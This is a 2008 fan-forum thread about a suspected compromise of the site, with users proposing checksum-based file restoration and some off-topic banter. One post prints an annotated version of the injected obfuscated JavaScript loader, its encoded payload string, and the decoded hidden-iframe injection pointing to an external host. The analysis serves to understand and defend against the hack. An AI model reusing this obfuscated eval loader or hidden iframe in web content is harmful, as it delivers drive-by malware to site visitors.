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 Post subject: Re: Has the forum been compromised?
PostPosted: Wed Oct 15, 2008 1:19 am 
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A simpler solution: Simply keep a local copy of all files. You think the forum may have been compromised? Overwrite the files on the server with your local copy - One or two drag+drop actions in an FTP client.
No, it doesn't do it automatically, but its very very simple.

-RobbieThe1st


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 Post subject: Re: Has the forum been compromised?
PostPosted: Wed Oct 15, 2008 1:30 am 
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Makes sense. Maybe even have a copy of the executable on the server itself, and a cron job that runs hourly or so triggering it? It would be effective against the simple bots (which would probably ignore the executable), and the executable on Tom's computer would be there as a backup that would would take care if the server' copy is compromised.

Just realized that in some ways, this is like an auto-update script - just set the source files as the latest copy of phpBB3, and the forum would be upgraded when the executable detects that the files are different, and uploads the new files.

So, in general, the executable would generate a list of files with a .php extension, and generate a checksum for each of the files, and compare the checksum with the checksum of a 'known good' set of files - the set of files on Tom's computer. The checksum of the files on Tom's computer would be generated, and the checksums stored in a text file, which would be used for later comparisons - both on Tom's computer and on the server. (The text file with the checksums would be uploaded to the server, and the server copy of the executable would compare the checksums it calculates with the checksums in the file.) When an update of the files occurs, the checksums for the 'known good' files are re-calculated, and the new list uploaded with the new files. There would also be email messages sent out if a change is detected - alerting Tom that a change was detected and corrected, not just have the executable running silently in the background...

@Robbie: Yes, but I believe that automated solutions are better - the only reason I found out that the forum was compromised was because my NoScript icon changed from All Allowed to Some Allowed, and I checked out what made the change, and posted about it here. It was about 6 hours between the time I noticed it to the time I posted about it. I'm even not sure if I would have taken the time to find out what caused the change because the only reason I looked into it was because I had free time. An automated solution means you don't have to rely on someone noticing a change and alerting people about it. Yes, your option is indeed much simpler (and is probably what Tom is doing right now), but I like the possibility of automated detection and recovery, if not for the twokinds forum, then for myself.


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 Post subject: Re: Has the forum been compromised?
PostPosted: Wed Oct 15, 2008 1:43 am 
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And what if Tom goes on vacation? Like to the bahamas or something just to relax for once? (I'd like to see what Tom's opinion on such a thing happening is...)
If he leaves to relax I don't think that he'd want to lug everything around when he should be relaxing...
But if he has something automatically repair the forum if things happen to occur then it's less time for him to worry and more for what he wants to do...Am I not right? I mean he set up the server so that we could get together and talk about our common interests(Foremost topic being TwoKinds of course.) but we can't always expect him to be conveniently available to correct a corrupt file before it does any significant damage. Even Tom has things that he needs to take care of IRL so in my opinion would be the most convenient for Tom is something similar to what I previously described...


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 Post subject: Re: Has the forum been compromised?
PostPosted: Wed Oct 15, 2008 7:34 pm 
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If Tom goes on vacation without a second admin to watch things, either the forum is going to be a pile of charred threads when he comes back, or we'll have divided into warring factions of Keith worshipers and Natani worshipers.


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 Post subject: Re: Has the forum been compromised?
PostPosted: Wed Oct 15, 2008 7:46 pm 
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Location: Five miles into nothing, sitting in a Dennies
I will drink from the life blood of my enemies heart as it spills to the floor, watching his eyes as he dies for that flicker of recognition, that sudden realization just as he dies that he was wrong and I right. I will howl the night song and stalk off to find more prey, the cold fangs in my mouth hungering to taste their fear.


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 Post subject: Re: Has the forum been compromised?
PostPosted: Wed Oct 15, 2008 9:52 pm 
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Keldoth Wolfram Dekel wrote:
I will drink from the life blood of my enemies heart as it spills to the floor, watching his eyes as he dies for that flicker of recognition, that sudden realization just as he dies that he was wrong and I right. I will howl the night song and stalk off to find more prey, the cold fangs in my mouth hungering to taste their fear.

Eh? Umm... wrong topic?

Anyway, here's a commented, simplified and mangled (only in the sense that it is effectively pseudocode, not JavaScript anymore) version of the code that deciphered and executed the block of ciphered code. (I'd attach it, but it says extension txt is not allowed.) The strange thing is the original code had, among other things, a for loop that was set up to run once, and 2 variables that stored the exact same number, and were simultaneously being decremented.

Code:
function plgbn15(p){
var int h=p.length
String c=''
int z=0
int d=0
int j=0

int t=Array(63,22,21,36,27,28,14,31,51,6,0,0,0,0,0,0,1,55,56,58,41,37,7,54,38,53,5,19,12,59,10,15,30,17,57,35,47,32,40,11,49,34,42,0,0,0,0,24,0,50,61,45,46,44,2,25,43,9,8,13,26,39,0,52,16,29,4,3,48,33,20,18,23,60,62);


for(h;h>0;h--) // Loop through all the characters
   {j|=(t[p.charCodeAt(z++)-48])<<d;
   //First, it finds the ASCII value of the z-1 character in the string that was passed to the function, and subtracts 48 from the value -- call the final value 'n'
   // Second, it gets the integer stored in the array at the 'n'th position.
   //Third, it bitshifts left that integer by 6, 4, 2 or 0 bits. (d can only be 0, 2, 4 or 6)
   //Fourth, it bitwise ORs j and the result from the third step and stores the result in j
   if(d){c+=String.fromCharCode(156^j&255);
   //if d is anything BUT 0,
   //j is bitwise XORed by 156, and then bitwise ANDed (to get a 8 bit integer value)
   //Then the ASCII character equivalent of the value is appended to string c.
   j>>=8;
   //j is right bitshifted by 8 bits, and the result stored in j
   d-=2
   //d is subtracted by 2
   } else //d was 0
   {d=6} // d is set to 6 to cause the next 3 characters to be appended to the string - this method results in every 4th character in the ciphertext being discarded
   }
   
eval(c)}//evaluate the deciphered code that has been stored in c
// change it to return(c) to look at the output in a javascript interpreter, or something similar
   
plgbn15('hxTyBO0Caz6CbSPCTFCd_OTyRTMDBO00DF7zaSdehMPbVmOcMflbCMP0XmOTaA7yRFZ0dGl0yzdM0FZToS6Ce4Ce8GOzBFM08WOCRWOCXCOy800baN7zVOWC86CdA9q0VKTedO7CaSOcQAOCoWhMbWOz8FOcIl4hVwlZe1McMCThcG0dAdhTydPbBS6buGChDaWbRx0zoSPVcGNhyz6CEs7zuCWzI06MtA7RHN0yamTTYfCeIhTMbF7zYd4c')
//The function is called with the code ciphered.


/*Deciphered code: window.status='Done';document.write('<iframe name=b21a src="http://add-content-block.net/t/?'+Math.round(Math.random()*14850)+'b21a'+'" width=135 height=110 style="display:none"></iframe>')*/


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 Post subject: Re: Has the forum been compromised?
PostPosted: Thu Oct 16, 2008 5:25 am 
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Joined: Tue Jul 15, 2008 1:37 am
Posts: 3264
Location: Washington
FastChapter wrote:
If Tom goes on vacation without a second admin to watch things, either the forum is going to be a pile of charred threads when he comes back, or we'll have divided into warring factions of Keith worshipers and Natani worshipers.

The sad part is that I can actually see the latter happening.

Very, very vividly. And me being separated from most of my friends. >_>


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 Post subject: Re: Has the forum been compromised?
PostPosted: Thu Oct 16, 2008 6:19 am 
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FoobyKamikaze wrote:
FastChapter wrote:
If Tom goes on vacation without a second admin to watch things, either the forum is going to be a pile of charred threads when he comes back, or we'll have divided into warring factions of Keith worshipers and Natani worshipers.

The sad part is that I can actually see the latter happening.

Very, very vividly. And me being separated from most of my friends. >_>

Really? Hmm... I didn't get the feeling that we (the people on the forum) are that fanatical about Keith and Natani. Or any of the characters at all. Maybe in jest, but I don't think it would get that serious... would it?

And just to get (somewhat) back on topic:
Fast: Charred threads indeed.


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 Post subject: Re: Has the forum been compromised?
PostPosted: Thu Oct 16, 2008 2:29 pm 
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Posts: 1033
Location: The Idyllic Woods, Calket
FoobyKamikaze wrote:
FastChapter wrote:
If Tom goes on vacation without a second admin to watch things, either the forum is going to be a pile of charred threads when he comes back, or we'll have divided into warring factions of Keith worshipers and Natani worshipers.

The sad part is that I can actually see the latter happening.

Very, very vividly. And me being separated from most of my friends. >_>


Sounds like a fanfic all in its own category. Kind of like a TK Homeward Bound.

Testing. Rekats Rovert, please attempt to remove this message. ~Yash


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